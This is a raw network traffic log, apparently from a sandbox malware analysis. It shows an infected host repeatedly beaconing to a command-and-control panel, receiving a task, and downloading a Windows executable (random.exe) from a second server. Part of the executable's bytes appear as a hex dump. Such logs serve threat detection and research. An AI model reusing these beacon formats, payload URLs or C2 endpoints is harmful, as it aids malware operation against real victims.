Dec 19, 2024 08:15:23.803539991 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:15:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.6	50314	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:15:25.560281992 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 08:15:26.891282082 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:15:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.6	50317	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:15:28.542057037 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.6	50320	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:15:34.088140011 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 08:15:35.410645008 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:15:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.6	50321	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:15:37.048939943 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 19, 2024 08:15:38.386774063 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:15:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.6	50322	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:15:40.147075891 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 08:15:41.489233971 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:15:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.6	50323	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:15:43.158124924 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 19, 2024 08:15:44.926917076 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:15:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.6	50324	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:15:46.674520969 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.6	50325	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:15:49.290846109 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 19, 2024 08:15:52.197176933 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:15:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.6	50326	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:15:54.244225979 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 08:15:55.576050997 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:15:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.6	50327	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:15:57.258757114 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 19, 2024 08:15:58.614749908 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:15:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.6	50328	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:16:00.403320074 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 08:16:01.738837957 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:16:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.6	50329	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:16:03.497257948 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 19, 2024 08:16:05.163360119 CET	297	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:16:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 62 0d 0a 20 3c 63 3e 31 30 31 37 34 33 30 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 36 37 65 38 30 35 35 34 35 62 30 31 63 66 36 34 64 34 61 34 38 35 61 39 35 39 32 65 31 30 30 62 37 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6b <c>1017430001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc67e805545b01cf64d4a485a9592e100b7#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.6	50330	31.41.244.11	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:16:05.331393003 CET	61	OUT	GET /files/martin/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 19, 2024 08:16:06.654933929 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:16:06 GMT Content-Type: application/octet-stream Content-Length: 4486144 Last-Modified: Thu, 19 Dec 2024 06:44:36 GMT Connection: keep-alive ETag: "6763c0d4-447400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9f 99 62 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 44 49 00 00 24 6c 00 00 32 00 00 00 c0 be 00 00 10 00 00 00 60 49 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 f0 be 00 00 04 00 00 eb 5e 45 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 90 69 00 73 00 00 00 00 80 69 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 ab be 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 aa be 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELbg(DI$l2`I@^E@ _isi@ piH(@.rsrciX(@.idata iZ(@ 9i\(@ghxtnmlj^(@znrsnumkLD@.taggant0"RD@
Dec 19, 2024 08:16:06.654959917 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:16:06.654970884 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:16:06.655062914 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:16:06.655076981 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:16:06.655090094 CET	1236	IN	Data Raw: 29 1e 66 7c a0 ad 20 b2 ce 75 e8 4c f5 b0 ee 83 ed f2 8c 34 c2 35 53 ba 6c 0b 2e 9d e1 fa 66 72 c0 10 ef 44 65 92 8f 22 79 81 97 95 09 95 35 2d f4 1f b8 b5 a5 7a 8c fe b6 28 df ad 52 f9 92 f5 9e dd cb 6f b5 94 f9 11 fc 3b 40 bd 55 77 8a 7d 2f 63 Data Ascii: )f\| uL45Sl.frDe"y5-z(Ro;@Uw}/c'mI+21B})<2>YdNyxLSzd}eO-JNCW5O.o$r(9Y*uPt=@yRYo'szuVr45 ]mpv~qA2o
Dec 19, 2024 08:16:06.655102968 CET	1236	IN	Data Raw: 8c 65 99 aa 74 84 7d 25 7d 7d d5 a7 c7 f3 d3 2d ed f2 78 f5 7d f6 13 cf 43 7b b8 a6 fc 91 31 c1 90 88 aa 41 8c 39 c5 bf 2c bd 39 9f 5c cd ba 2d 4f 76 e0 bd 08 ae 4a bb ae 8b dc 8e b2 3d 75 f4 7b b4 47 f5 6b 10 12 91 3c 20 10 16 4f 10 0b fd 7e 6d Data Ascii: et}%}}-x}C{1A9,9\-OvJ=u{Gk< O~mivq,i,1Pl8EXJC}WJ"oj;PkVHU<qp%~]nL=0b9^1wT~.e"
Dec 19, 2024 08:16:06.655278921 CET	1120	IN	Data Raw: 08 89 fd 4d e1 81 69 c2 ae 39 45 32 bb 90 be 7a 11 ca 67 29 d2 41 a1 b3 7f fe 08 93 88 ca 7b fb e9 d3 56 cf 2a da a6 47 e5 4b 8a a8 34 83 74 15 b1 a1 cf 1e 32 29 d9 c7 73 01 ac 99 91 58 db d9 c2 2e 5f 9e 37 bc 48 95 c0 3c 27 62 02 c1 79 a2 fe ef Data Ascii: Mi9E2zg)A{V*GK4t2)sX._7H<'byya^;Bp}v\65y=e~h&xIFw0vwx[Ee[R;n8}nwO_lFA0z'<GLXC81zzH-JzK
Dec 19, 2024 08:16:06.655347109 CET	1236	IN	Data Raw: 5f 46 b4 95 0e f3 e6 de 7e 94 4f 6e 00 93 cd 84 8c 6a 58 ce 50 0b 3d b2 9f 86 e7 95 c8 67 89 38 2d 3d 73 a4 88 89 ea 9d 78 d8 09 b1 89 0c 99 ab dc 13 07 6f 40 7b af f7 03 ec 2e 99 6c 50 5d 06 2a 3f ba 31 23 98 aa 19 9e 6e 54 71 56 c3 d3 d4 e7 1d Data Ascii: _F~OnjXP=g8-=sxo@{.lP]?1#nTqVaN=dm/xBX QOEmTd$)y%=swlOG[iB\|-1MjTR -o_Gj3$I1SH7b+&
Dec 19, 2024 08:16:06.655414104 CET	1236	IN	Data Raw: 4a f2 97 a8 96 b2 8a fa 4c 9d 99 a2 7e b2 5a 10 6f c4 98 f4 70 79 f6 28 f3 bb 97 2b 8c 07 de fd cf 19 99 0e 71 e4 b1 63 a0 b5 cd 9a 43 b8 e0 52 8c 38 c4 7e ca e9 85 0a 2f a8 45 c2 72 93 71 61 d8 d7 1a ce 54 b5 91 c8 25 68 bd 5e db 89 c3 f5 99 4c Data Ascii: JL~Zopy(+qcCR8~/ErqaT%h^L+gliAuMXJLIv$sxnObFalx";+kbFbP7~f}.jf-n-osQ#X/zXTd]{<}
Dec 19, 2024 08:16:06.774909019 CET	1236	IN	Data Raw: b5 ff ca 92 b1 86 e1 c1 ff c3 ca b8 a0 9a 42 c0 86 a4 71 47 fe 5d a7 a6 80 e1 ca 12 9a 01 cd 4e 32 bc a4 e9 65 ba d2 b4 99 01 ed 4e 2e c6 40 bd 9b b7 f7 9e c4 0c 50 da 86 56 9f 17 7d b2 43 9e c4 e6 07 c5 55 e7 f3 b0 ca c9 40 3a f6 a5 e0 32 7d d9 Data Ascii: BqG]N2eN.@PV}CU@:2}Y+_FW&"+yD_BO^tlNuTwjh:gmu"i)}rqZ*\V)p_bc,s7

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.6	50334	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:16:17.847692966 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 37 34 33 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017430001&unit=246122658369
Dec 19, 2024 08:16:20.231681108 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:16:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.6	50338	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:16:22.225960016 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 08:16:23.531754971 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:16:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.6	50340	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:16:25.267970085 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 19, 2024 08:16:26.620088100 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:16:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.6	50341	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:16:28.878221989 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 08:16:30.179282904 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:16:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.6	50342	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:16:32.312855959 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 19, 2024 08:16:33.630352974 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:16:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.6	50343	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:16:35.792913914 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 08:16:37.140088081 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:16:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.6	50344	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
